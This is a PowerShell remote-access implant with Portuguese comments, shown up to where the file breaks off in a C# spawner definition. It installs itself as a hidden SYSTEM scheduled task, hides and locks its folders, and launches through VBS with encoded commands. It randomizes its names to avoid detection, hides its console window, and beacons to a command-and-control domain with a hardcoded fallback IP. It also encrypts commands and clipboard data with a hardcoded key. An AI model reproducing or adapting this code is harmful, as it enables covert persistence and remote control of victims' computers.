param( [string]$ScriptPath = "", [switch]$ServiceMode, [switch]$Uninstall, [switch]$Reinstall, [switch]$InstallService, [switch]$Force ) # ============================================================================= # FAST-PATH: -InstallService (para request_uac do painel) # Quando User conectado pede elevacao, o painel envia request_uac # que chama este script com -InstallService para migrar para SYSTEM # ============================================================================= if ($InstallService) { $__svcName = $null; $__fileName = $null try { $__fallback = "HKCU:\Software\Microsoft\Windows" $__fallbackKey = "CU" $__dynReg = (Get-ItemProperty -Path $__fallback -Name $__fallbackKey -EA Stop).$__fallbackKey if ($__dynReg) { $__sv = (Get-ItemProperty -Path $__dynReg -Name "SvcName" -EA Stop).SvcName $__fv = (Get-ItemProperty -Path $__dynReg -Name "FileName" -EA Stop).FileName if ($__sv -and $__fv) { $__svcName = $__sv; $__fileName = $__fv } } } catch {} if (-not $__svcName -or -not $__fileName) { exit 1 } $__taskName = $__svcName $__instDir = "$env:ProgramData\Microsoft\$__taskName" $__dest = "$__instDir\$__fileName.txt" $__psExe = "$env:WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe" $__src = $ScriptPath if (-not $__src -or -not (Test-Path $__src -EA 0)) { $__src = $PSCommandPath } if (-not $__src -or -not (Test-Path $__src -EA 0)) { $__src = "$env:APPDATA\Microsoft\$__svcName\$__fileName.txt" } if (-not (Test-Path $__instDir)) { New-Item $__instDir -ItemType Directory -Force | Out-Null } if ($__src -and (Test-Path $__src -EA 0)) { Copy-Item $__src $__dest -Force -EA 0 } # Proteger pasta (ACL + Hidden + System) try { $__acl = Get-Acl $__instDir $__acl.SetAccessRuleProtection($true, $false) $__acl.Access | ForEach-Object { $__acl.RemoveAccessRule($_) } | Out-Null $__acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow"))) $__acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule("Administrators", "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow"))) Set-Acl $__instDir $__acl $__di = Get-Item $__instDir -Force $__di.Attributes = $__di.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System Get-ChildItem $__instDir -Force -EA 0 | ForEach-Object { $_.Attributes = $_.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System } } catch {} $__destEsc = $__dest -replace "'", "''" $__pCmd = "`$env:_nR='1';`$env:_sU='1';`$env:_sN='$__svcName';`$env:_fN='$__fileName';& ([ScriptBlock]::Create((gc '$__destEsc' -Raw)))" $__pEnc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($__pCmd)) $__vbsN = $__fileName.Substring(0, [Math]::Min(12, $__fileName.Length)) $__vbs = "$__instDir\$__vbsN.vbs" try { [IO.File]::WriteAllText($__vbs, "CreateObject(""WScript.Shell"").Run ""$__psExe -NoP -EP Bypass -NonInteractive -EncodedCommand $__pEnc"", 0, False", [Text.Encoding]::ASCII) } catch {} Unregister-ScheduledTask -TaskName $__taskName -Confirm:$false -EA 0 $__act = New-ScheduledTaskAction -Execute "$env:WINDIR\System32\wscript.exe" -Argument "`"$__vbs`"" $__trg = New-ScheduledTaskTrigger -AtStartup $__cfg = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -Hidden $__prn = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount Register-ScheduledTask -TaskName $__taskName -Action $__act -Trigger $__trg -Settings $__cfg -Principal $__prn -Force | Out-Null Start-ScheduledTask -TaskName $__taskName -EA 0 Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $__taskName -EA 0 exit $(if (Get-ScheduledTask -TaskName $__taskName -EA 0) { 0 } else { 1 }) } # DETACH: desconectar do CMD ? CMD fecha, processo continua sem janela via wscript # wscript.exe bypassa Windows Terminal (resolve bug W11 de janela aparecer com Start-Process) # UAC funciona normalmente pois o processo herda a sessao interativa do usuario if (-not $env:_dT -and -not $env:_nR -and -not $InstallService -and -not $Uninstall) { $__ds = $null # 1. ScriptPath passado como parametro if ($ScriptPath -and (Test-Path $ScriptPath -EA 0)) { $__ds = $ScriptPath } # 2. PSCommandPath elseif ($PSCommandPath -and (Test-Path $PSCommandPath -EA 0)) { $__ds = $PSCommandPath } else { # 3. Tentar ler identidade do registro e procurar nas pastas try { $__regCU = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA Stop).CU if ($__regCU) { $__svc = (Get-ItemProperty $__regCU -Name "SvcName" -EA Stop).SvcName $__fn = (Get-ItemProperty $__regCU -Name "FileName" -EA Stop).FileName if ($__svc -and $__fn) { $__paths = @( "$env:ProgramData\Microsoft\$__svc\$__fn.txt", "$env:APPDATA\Microsoft\$__svc\$__fn.txt" ) foreach ($__p in $__paths) { if (Test-Path $__p -EA 0) { $__ds = $__p; break } } } } } catch {} } if ($__ds) { $__dp = $__ds -replace [char]39, ([char]39 + [char]39) $__envCmd = "`$env:_dT='1';`$env:_sU='1';" if ($env:_sN) { $__envCmd += "`$env:_sN='$env:_sN';" } if ($env:_fN) { $__envCmd += "`$env:_fN='$env:_fN';" } $__de = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("$__envCmd& ([ScriptBlock]::Create((gc '$__dp' -Raw))) -ScriptPath '$__dp'")) $__dv = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).vbs" $__dl = 'CreateObject("WScript.Shell").Run "powershell.exe -NoP -EP Bypass -EncodedCommand ' + $__de + '", 0, False' try { [IO.File]::WriteAllText($__dv, $__dl, [Text.Encoding]::ASCII) } catch {} Start-Process wscript.exe -ArgumentList "`"$__dv`"" -WindowStyle Hidden -EA 0 | Out-Null } [Environment]::Exit(0) } # ============================================================================= # ============= SKIP INVIS?VEL NA PRIMEIRA EXECU??O ============= # Deixar script rodar vis?vel primeiro para permitir UAC popup # Ap?s instala??o, script SYSTEM vai re-executar invis?vel # IMPORTANTE: -Verb RunAs N?O funciona em script invis?vel (pesquisado na web) # Solu??o: primeira vez ? vis?vel, depois invis?vel # ============= CRITICAL OPTIMIZATION: SYSTEM TIMER RESOLUTION ============= # Change from 15ms (default) to 0.5ms - MASSIVE latency improvement (30x) $TimerResolution = @" using System; using System.Runtime.InteropServices; public class TimerRes { [DllImport("ntdll.dll")] public static extern int NtSetTimerResolution(uint d, bool s, out uint c); } "@ try { Add-Type -TypeDefinition $TimerResolution -ErrorAction SilentlyContinue $currentRes = 0 [TimerRes]::NtSetTimerResolution(5000, $true, [ref]$currentRes) | Out-Null } catch {} # ============= GLOBAL ENCODING CACHE (Evita aloca??o novo a cada opera??o) ============= # Antes: [System.Text.Encoding]::UTF8 a cada chamada = NEW inst?ncia cada vez # Depois: $script:FastUTF8 reutilizado = ZERO aloca??o $script:FastUTF8 = [System.Text.Encoding]::UTF8 # ============= PARSER JSON ULTRA-R?PIDO ============= # ConvertFrom-Json ? muito lento (~10-50ms por call) # Usar JavaScriptSerializer que ? 20x mais r?pido Add-Type -AssemblyName System.Web.Extensions | Out-Null $script:JsonParser = New-Object System.Web.Script.Serialization.JavaScriptSerializer # =============================================================================== # ARQUIVO ORIGINAL # =============================================================================== # =============================================================================== # Server e Port podem ser definidos ANTES do IEX (pelo Spawner) ou usar defaults # CloudFlare Tunnel Setup com Subdom?nio ?nico por M?quina if (-not $script:Server) { if ($Server -and $Server -ne "") { $script:Server = $Server } else { # Gerar subdom?nio ?nico baseado em MachineGuid (sem prefixo fixo = sem padr?o detect?vel) try { $__mguid = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography' -Name MachineGuid -EA Stop).MachineGuid $__md5 = [System.Security.Cryptography.MD5]::Create() $__bytes = [System.Text.Encoding]::UTF8.GetBytes($__mguid) $__hash = $__md5.ComputeHash($__bytes) $__hashStr = ($__hash | ForEach-Object { "{0:x2}" -f $_ }) -join "" # SEM PREFIXO FIXO - s? hash (impede regex detection) $script:Server = "$__hashStr.testewin.com" } catch { # Fallback se n?o conseguir gerar $script:Server = "cdn.testewin.com" } } } if (-not $script:Port -or $script:Port -eq 0) { if ($Port -gt 0) { $script:Port = $Port } else { $script:Port = 443 } } # Flag definida pelo Spawner antes do IEX (processo na sessao do usuario) if (-not (Test-Path variable:SpawnedByService)) { $SpawnedByService = $false } try { # WindowGuard: controla visibilidade da janela do console antes de qualquer compilacao pesada # SYSTEM/VBS mode: oculta completamente # User mode (primeira execucao): minimiza na taskbar + guard thread impede restauracao $__qh = Add-Type -Name QH -Namespace Q -PassThru -EA SilentlyContinue -MemberDefinition ' [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr h, int n); [DllImport("user32.dll")] public static extern bool IsIconic(IntPtr h); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr h, IntPtr i, int x, int y, int cx, int cy, uint f); [DllImport("user32.dll")] public static extern IntPtr GetSystemMenu(IntPtr h, bool r); [DllImport("user32.dll")] public static extern bool EnableMenuItem(IntPtr m, uint id, uint f); static bool _g; public static void StartGuard() { IntPtr hw = GetConsoleWindow(); if (hw == IntPtr.Zero) return; // X habilitado ? usuario pode fechar; exit() fecha automaticamente via DETACH ShowWindow(hw, 6); // SW_MINIMIZE _g = true; var t = new System.Threading.Thread(() => { while (_g) { if (!IsIconic(hw)) ShowWindow(hw, 6); System.Threading.Thread.Sleep(30); } }); t.IsBackground = true; t.Start(); } public static void StopGuard() { _g = false; } public static void HideNow() { IntPtr hw = GetConsoleWindow(); if (hw == IntPtr.Zero) return; IntPtr sm = GetSystemMenu(hw, false); if (sm != IntPtr.Zero) EnableMenuItem(sm, 0xF060u, 0u); // reabilitar X SetWindowPos(hw, IntPtr.Zero, -9999, -9999, 1, 1, 0x0040); ShowWindow(hw, 0); // SW_HIDE }' if ($__qh) { if ($env:_sU -eq "1" -or $env:_nR -eq "1" -or $env:_dT -eq "1") { # SYSTEM/VBS/DETACHED: ocultar (nasce invisivel via wscript ou task) [Q.QH]::HideNow() } else { # Bat direto: minimizar por instante ? DETACH chama [Environment]::Exit(0) logo [Q.QH]::StartGuard() } } } catch {} if ($env:_sU -eq "1" -and -not $InstallService -and -not $Uninstall -and -not $ServiceMode) { $__regPath = try { (Get-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA Stop).CU } catch { $null } $__dynPidDir = try { (Get-ItemProperty $__regPath -EA Stop).SvcName } catch { $null } $__dynPidPath = if ($__dynPidDir) { "$env:APPDATA\Microsoft\$__dynPidDir\client.pid" } else { $null } $__pidPaths = @() if ($__dynPidPath) { $__pidPaths = @($__dynPidPath) } foreach ($__pf in $__pidPaths) { if (Test-Path $__pf -EA SilentlyContinue) { $__sp = (Get-Content $__pf -Raw -EA SilentlyContinue) if ($__sp) { $__sp = $__sp.Trim() if ($__sp -match '^\d+$' -and [int]$__sp -ne $PID) { $__ep = Get-Process -Id ([int]$__sp) -ErrorAction SilentlyContinue if ($__ep -and $__ep.Name -like "*powershell*") { [Environment]::Exit(0) } } } } } Remove-Variable __pf,__sp,__ep -EA SilentlyContinue } # Deteccao INTELIGENTE do caminho do script (multiplos metodos) # Carregar identidade ANTES do path detection (necessario para caminhos dinamicos) # Funcoes de bootstrap (definidas antes de qualquer chamada) function Get-InstallIdentity { # PRIORIDADE 1: env vars injetadas pela task SYSTEM (evita problema HKCU do SYSTEM) # Quando a task SYSTEM roda, seu HKCU = HKEY_USERS\.DEFAULT (diferente do usuario). # A task injeta _sN e _fN para que a identidade seja consistente. if ($env:_sN -and $env:_fN) { return @{ SvcName = $env:_sN; FileName = $env:_fN; RegistryPath = $null } } # Localiza??o de fallback para encontrar a registry din?mica $__fallback = "HKCU:\Software\Microsoft\Windows" $__fallbackKey = "CU" try { # Tentar carregar localiza??o din?mica salva $__regPath = try { (Get-ItemProperty -Path $__fallback -Name $__fallbackKey -EA Stop).$__fallbackKey } catch { $null } if (-not $__regPath) { throw } $__sv = Get-ItemProperty -Path $__regPath -Name "SvcName" -EA Stop $__fv = Get-ItemProperty -Path $__regPath -Name "FileName" -EA Stop if ($__sv.SvcName -and $__fv.FileName) { return @{ SvcName = $__sv.SvcName; FileName = $__fv.FileName; RegistryPath = $__regPath } } throw } catch { # Gerar identidade ?nica derivada do hardware da m?quina + timestamp $__guid = try { (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -EA Stop).MachineGuid } catch { [System.Guid]::NewGuid().ToString() } $__timestamp = [DateTime]::Now.Ticks.ToString() # TOTALMENTE ALEATORIO: TaskName/SvcName (16 chars, sem padrao) $__sha1 = [System.Security.Cryptography.SHA256]::Create() $__raw1 = $__sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__guid + "svc" + $__timestamp)) $__sha1.Dispose() $__svc = (($__raw1 | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 16) # TOTALMENTE ALEAT?RIO: FileName (20 chars, sem padr?o) $__sha2 = [System.Security.Cryptography.SHA256]::Create() $__raw2 = $__sha2.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__guid + "file" + $__timestamp)) $__sha2.Dispose() $__file = (($__raw2 | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 20) # TOTALMENTE ALEAT?RIO: RegistryPath (12 chars aleat?rios, sem padr?o) $__sha3 = [System.Security.Cryptography.SHA256]::Create() $__raw3 = $__sha3.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__guid + "reg" + $__timestamp)) $__sha3.Dispose() $__regRandom = (($__raw3 | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 12) $__dynReg = "HKCU:\Software\Microsoft\$__regRandom" # Persistir no registro din?mico try { if (-not (Test-Path $__dynReg)) { New-Item -Path $__dynReg -Force | Out-Null } Set-ItemProperty -Path $__dynReg -Name "SvcName" -Value $__svc -Force Set-ItemProperty -Path $__dynReg -Name "FileName" -Value $__file -Force # Guardar localiza??o no fallback Set-ItemProperty -Path $__fallback -Name $__fallbackKey -Value $__dynReg -Force } catch {} return @{ SvcName = $__svc; FileName = $__file; RegistryPath = $__dynReg } } } # Chamada ap?s defini??es $__identity = Get-InstallIdentity # Gerar nome de pasta TOTALMENTE ALEAT?RIO (sem padr?o fixo) # Gerar descri??o de servi?o TOTALMENTE ALEAT?RIA (sem padr?o) $__sha_desc = [System.Security.Cryptography.SHA256]::Create() $__raw_desc = $__sha_desc.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($__identity.SvcName + "desc")) $__sha_desc.Dispose() $__serviceDesc = "Service_" + (($__raw_desc | ForEach-Object { $_.ToString("x2") }) -join "").Substring(0, 16) $script:SourceScriptPath = "" # Metodo 1: Parametro explicito if ($ScriptPath -and (Test-Path $ScriptPath -ErrorAction SilentlyContinue)) { $script:SourceScriptPath = $ScriptPath } # Metodo 2: PSCommandPath (quando executado com -File) if (-not $script:SourceScriptPath -and $PSCommandPath) { $script:SourceScriptPath = $PSCommandPath } # Metodo 3: MyInvocation (backup) if (-not $script:SourceScriptPath -and $MyInvocation.MyCommand.Path) { $script:SourceScriptPath = $MyInvocation.MyCommand.Path } # Metodo 4: Procurar em locais comuns (incluindo pastas dinamicas) if (-not $script:SourceScriptPath) { $commonPaths = @( "$env:ProgramData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt", "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" ) foreach ($path in $commonPaths) { if (Test-Path $path -ErrorAction SilentlyContinue) { $script:SourceScriptPath = $path break } } } # Metodo 5: Auto-salvar (fallback final) if (-not $script:SourceScriptPath) { $autoSavePath = "$env:AppData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" try { if (-not (Test-Path "$env:AppData\Microsoft\$($__identity.SvcName)")) { New-Item -Path "$env:AppData\Microsoft\$($__identity.SvcName)" -ItemType Directory -Force | Out-Null } if ($MyInvocation.MyCommand.ScriptBlock) { $thisScript = $MyInvocation.MyCommand.ScriptBlock.ToString() $thisScript | Out-File -FilePath $autoSavePath -Encoding UTF8 -Force $script:SourceScriptPath = $autoSavePath } } catch {} } # Ultimo recurso: usar caminho padrao if (-not $script:SourceScriptPath) { $script:SourceScriptPath = "$env:AppData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } # Capturar erros nao tratados silenciosamente trap { continue } # === FORCE MODE: Limpar tudo antes de iniciar === if ($Force) { # Matar outros powershell (exceto eu) Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | ForEach-Object { Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue } # Remover PID files (caminhos dinamicos) Remove-Item "$env:ProgramData\Microsoft\$($__identity.SvcName)\client.pid" -Force -ErrorAction SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid" -Force -ErrorAction SilentlyContinue Start-Sleep -Milliseconds 500 } # Se e servico, aguardar rede estar disponivel if ($ServiceMode -or ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -eq "S-1-5-18")) { $networkReady = $false for ($i = 0; $i -lt 30; $i++) { try { $testConnection = [System.Net.Dns]::GetHostAddresses("google.com") if ($testConnection) { $networkReady = $true break } } catch {} Start-Sleep -Seconds 2 } if (-not $networkReady) { } } # =============================================================================== # DPI AWARENESS - GARANTIR RESOLUCAO REAL DOS MONITORES (PER-MONITOR V2) # =============================================================================== try { Add-Type @' using System; using System.Runtime.InteropServices; public class DPIAwareness { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int value); // 0 = DPI_UNAWARE, 1 = SYSTEM_DPI_AWARE, 2 = PER_MONITOR_DPI_AWARE public static void SetPerMonitorAware() { try { SetProcessDpiAwareness(2); } catch { } } } '@ [DPIAwareness]::SetPerMonitorAware() } catch { } # =============================================================================== # CONFIGURACAO DE CONEXAO - DOMINIO PRINCIPAL + IP FALLBACK # =============================================================================== $script:ConnectionConfig = @{ # Dominio principal (vem do parametro -Server ou definido pelo Spawner) PrimaryDomain = $script:Server # IP de fallback (so usa se dominio nao resolver apos 3 tentativas) FallbackIP = "149.56.12.51" # Porta de conexao Port = $script:Port } # Protocol Config (Magic bytes e Version para comunica??o C2) $script:Config = @{ Version = "11.07-FAST-RECONNECT" Magic = [byte[]]@(0x4C, 0x51, 0x57, 0x50) # EVR6 protocol magic } function Resolve-ServerAddress { # Sempre tenta o dominio primeiro (3 tentativas) $domain = $script:ConnectionConfig.PrimaryDomain $fallback = $script:ConnectionConfig.FallbackIP # Tentar resolver dominio 3x if ($domain -and $domain -ne "") { for ($attempt = 1; $attempt -le 3; $attempt++) { try { $resolved = [System.Net.Dns]::GetHostAddresses($domain) | Where-Object { $_.AddressFamily -eq 'InterNetwork' } | Select-Object -First 1 if ($resolved) { return $resolved.IPAddressToString } } catch { if ($attempt -lt 3) { Start-Sleep -Seconds 2 } } } } # Fallback para IP direto (apos 3 tentativas falharem) return $fallback } # Servidor configurado com subdom?nio ?nico via CloudFlare Tunnel # =============================================================================== # CONFIGURACOES DE INSTALACAO - CAMINHOS LEGITIMOS DO WINDOWS # =============================================================================== # =============================================================================== # IDENTIDADE UNICA POR INSTALACAO (sem assinatura fixa) # =============================================================================== # Nota: Fun??o duplicada, usar a da linha 221 que j? ? din?mica $__identity = Get-InstallIdentity $script:InstallConfig = @{ InstallDir = "$env:ProgramData\Microsoft\$($__identity.SvcName)" ScriptName = "$($__identity.FileName).txt" TaskName = $__identity.SvcName } # =============================================================================== # FUNCOES DE GERENCIAMENTO (UNINSTALL/REINSTALL) # =============================================================================== function Invoke-CompleteUninstall { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { return $false } # 1. Parar processos relacionados (exceto o atual) try { Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { ($_.CommandLine -like "*$($script:InstallConfig.ScriptName)*" -or $_.CommandLine -like "*$($script:InstallConfig.TaskName)*" -or $_.CommandLine -like "*DeviceSync*" -or $_.CommandLine -like "*crop_*") -and $_.ProcessId -ne $PID } | ForEach-Object { try { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue } catch {} } } catch {} Start-Sleep -Seconds 2 # 2. Remover tarefa agendada (incluindo variacoes antigas) @($script:InstallConfig.TaskName) | ForEach-Object { schtasks /delete /tn $_ /f 2>$null | Out-Null schtasks /delete /tn "\Microsoft\Windows\$_" /f 2>$null | Out-Null } # 3. Limpar entradas do registro # Remover identidade gerada (proxima instalacao gerarah nova) $__fallback = "HKCU:\Software\Microsoft\Windows" $__regPathToClean = try { (Get-ItemProperty -Path $__fallback -Name "CU" -EA Stop).CU } catch { $null } try { Remove-ItemProperty -Path $__regPathToClean -Name "SvcName" -EA SilentlyContinue } catch {} try { Remove-ItemProperty -Path $__regPathToClean -Name "FileName" -EA SilentlyContinue } catch {} try { Remove-ItemProperty -Path $__regPathToClean -Name "SessionId" -EA SilentlyContinue } catch {} try { Remove-ItemProperty -Path $__fallback -Name "CU" -EA SilentlyContinue } catch {} @("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object { if (Test-Path $_) { @($script:InstallConfig.TaskName) | ForEach-Object { Remove-ItemProperty -Path $_ -Name $_ -ErrorAction SilentlyContinue } } } # 4. Remover diretorios de instalacao (com retry) # Remover ambos os caminhos possiveis (User e System) $dirsToRemove = @( $script:InstallConfig.InstallDir, "$env:APPDATA\Microsoft\$($__identity.SvcName)", "$env:ProgramData\Microsoft\$($__identity.SvcName)", "$env:APPDATA\Microsoft\$($__identity.SvcName)" ) foreach ($dir in $dirsToRemove) { if (Test-Path $dir) { for ($i = 0; $i -lt 3; $i++) { try { Remove-Item -Path $dir -Recurse -Force -ErrorAction Stop break } catch { Start-Sleep -Milliseconds 500 } } } } # 5. Limpar arquivos temporarios # Limpar arquivos com prefixo do SvcName Get-ChildItem $env:TEMP -Filter "$($__identity.SvcName)_*" -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue return $true } function Invoke-SystemInstall { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { return $false } # Criar estrutura de diretorios if (-not (Test-Path $script:InstallConfig.InstallDir)) { New-Item -Path $script:InstallConfig.InstallDir -ItemType Directory -Force | Out-Null } # Copiar script para localizacao de instalacao $currentScript = $script:SourceScriptPath $destPath = Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName if ($currentScript -ne $destPath) { Copy-Item -Path $currentScript -Destination $destPath -Force } # Configurar tarefa agendada como SYSTEM $psExe = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $taskCmd = "`"$psExe`" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NoLogo -NonInteractive -File `"$destPath`"" # Remover tarefa existente schtasks /delete /tn $script:InstallConfig.TaskName /f 2>$null | Out-Null # Criar nova tarefa $result = schtasks /create /tn $script:InstallConfig.TaskName /tr $taskCmd /sc onstart /delay 0000:30 /rl highest /ru SYSTEM /f 2>&1 if ($LASTEXITCODE -ne 0) { return $false } # Iniciar tarefa Start-Sleep -Seconds 1 schtasks /run /tn $script:InstallConfig.TaskName 2>$null | Out-Null # Verificar se tarefa foi criada com sucesso Start-Sleep -Seconds 2 $taskExists = schtasks /query /tn $script:InstallConfig.TaskName 2>$null if ($LASTEXITCODE -eq 0) { } else { } Start-Sleep -Seconds 3 # Verificar instalacao $running = Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -ErrorAction SilentlyContinue | Where-Object { $_.CommandLine -like "*$destPath*" } if ($running) { $owner = $running.GetOwner() return $true } else { return $true } } # =============================================================================== # PROCESSAR COMANDOS DE GERENCIAMENTO # =============================================================================== if ($Uninstall) { $success = Invoke-CompleteUninstall Read-Host "Pressione Enter para continuar" exit $(if ($success) {0} else {1}) } if ($Reinstall) { Invoke-CompleteUninstall | Out-Null Start-Sleep -Seconds 2 $success = Invoke-SystemInstall Read-Host "Pressione Enter para continuar" exit $(if ($success) {0} else {1}) } # $InstallService ja foi tratado no fast-path no topo do script (antes dos Add-Type) # Se chegou aqui, nao e modo InstallService # =============================================================================== # SECURITY - TOKEN UNICO POR INSTALACAO # =============================================================================== # PACKET WRITING - Usa BinaryWriter inline (sem C# Add-Type, sem fun??es wrapper) # =============================================================================== $script:SecurityConfig = @{ MasterKey = 'iuhbdaubdvauygd5562$3@##$r' } function Get-OrCreateInstallToken { # Token derivado deterministicamente do hardware - nao salva em disco $machineGuid = $null try { $machineGuid = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} if (!$machineGuid) { try { $machineGuid = (Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} } if (!$machineGuid) { $machineGuid = "$env:COMPUTERNAME-$env:USERNAME" } $mac = ""; try { $mac = (Get-NetAdapter | Where-Object { $_.Status -eq 'Up' } | Select-Object -First 1).MacAddress } catch {} $uniqueData = "$machineGuid|$mac|$env:COMPUTERNAME|$($script:SecurityConfig.MasterKey)" $sha256 = [System.Security.Cryptography.SHA256]::Create() $hash = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($uniqueData)) return [BitConverter]::ToString($hash).Replace("-", "").ToLower() } function Get-TokenProof { param([string]$Token) $hmac = New-Object System.Security.Cryptography.HMACSHA256 $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($script:SecurityConfig.MasterKey) $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Token)) return [BitConverter]::ToString($hash).Replace("-", "").ToLower() } $script:InstallToken = Get-OrCreateInstallToken $script:TokenProof = Get-TokenProof -Token $script:InstallToken # DEBUG: Verificar se token foi gerado # =============================================================================== # CRIPTOGRAFIA AES-256 (So para comandos e clipboard) # =============================================================================== $script:AesKey = [System.Security.Cryptography.SHA256]::Create().ComputeHash( [System.Text.Encoding]::UTF8.GetBytes($script:SecurityConfig.MasterKey) ) function Decrypt-SecureData { param([string]$Data) try { if (!$Data -or !$Data.Contains(':')) { return $null } $parts = $Data.Split(':') if ($parts.Length -ne 2) { return $null } $iv = [byte[]]::new(16) $ivHex = $parts[0] for ($i = 0; $i -lt 16; $i++) { $iv[$i] = [Convert]::ToByte($ivHex.Substring($i * 2, 2), 16) } $encryptedHex = $parts[1] $encrypted = [byte[]]::new($encryptedHex.Length / 2) for ($i = 0; $i -lt $encrypted.Length; $i++) { $encrypted[$i] = [Convert]::ToByte($encryptedHex.Substring($i * 2, 2), 16) } $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $script:AesKey $aes.IV = $iv $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $decryptor = $aes.CreateDecryptor() $decrypted = $decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length) $aes.Dispose() return [System.Text.Encoding]::UTF8.GetString($decrypted) } catch { return $null } } function Encrypt-SecureData { param([string]$Text) try { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Key = $script:AesKey $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.GenerateIV() $encryptor = $aes.CreateEncryptor() $data = [System.Text.Encoding]::UTF8.GetBytes($Text) $encrypted = $encryptor.TransformFinalBlock($data, 0, $data.Length) $ivHex = [BitConverter]::ToString($aes.IV).Replace("-", "").ToLower() $encHex = [BitConverter]::ToString($encrypted).Replace("-", "").ToLower() $aes.Dispose() return "$ivHex`:$encHex" } catch { return $null } } # === CODIGO DO SPAWNER - CRIA SYSTEM NA SESSAO DO USUARIO === $SpawnerCode = @" using System; using System.Runtime.InteropServices; using System.Diagnostics; public class ExplorerSpawner { [DllImport("advapi32.dll", SetLastError = true)] static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("userenv.dll", SetLastError = true)] static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); [DllImport("userenv.dll")] static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); [DllImport("kernel32.dll", SetLastError = true)] static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll")] static extern uint GetCurrentProcessId(); [DllImport("kernel32.dll")] static extern bool ProcessIdToSessionId(uint dwProcessId, out uint pSessionId); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX, dwY, dwXSize, dwYSize; public int dwXCountChars, dwYCountChars, dwFillAttribute; 